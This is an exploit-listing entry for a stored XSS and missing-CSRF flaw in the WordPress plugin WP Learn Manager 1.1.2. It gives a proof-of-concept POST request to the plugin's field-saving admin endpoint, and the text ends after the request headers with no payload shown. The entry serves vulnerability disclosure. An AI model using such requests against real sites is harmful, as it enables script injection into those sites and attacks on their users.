Exploits / Vulnerability Discovered : 2021-07-05 |
Type : webapps |
Platform : php
This exploit / vulnerability Wordpress plugin wp learn manager 1.1.2 stored crosssite scripting (xss) is for educational purposes only and if it is used you will do on your own risk!
The plugin does not properly sanitise or validate its User Field Titles, allowing XSS payload to be used in them. Furthermore, no CSRF and capability checks were in place, allowing such attack to be performed either via CSRF or as any user (including unauthenticated)
*Proof of Concept:*
POST /wp-admin/admin.php?page=jslm_fieldordering&task=saveuserfield HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 207
Connection: close
Upgrade-Insecure-Requests: 1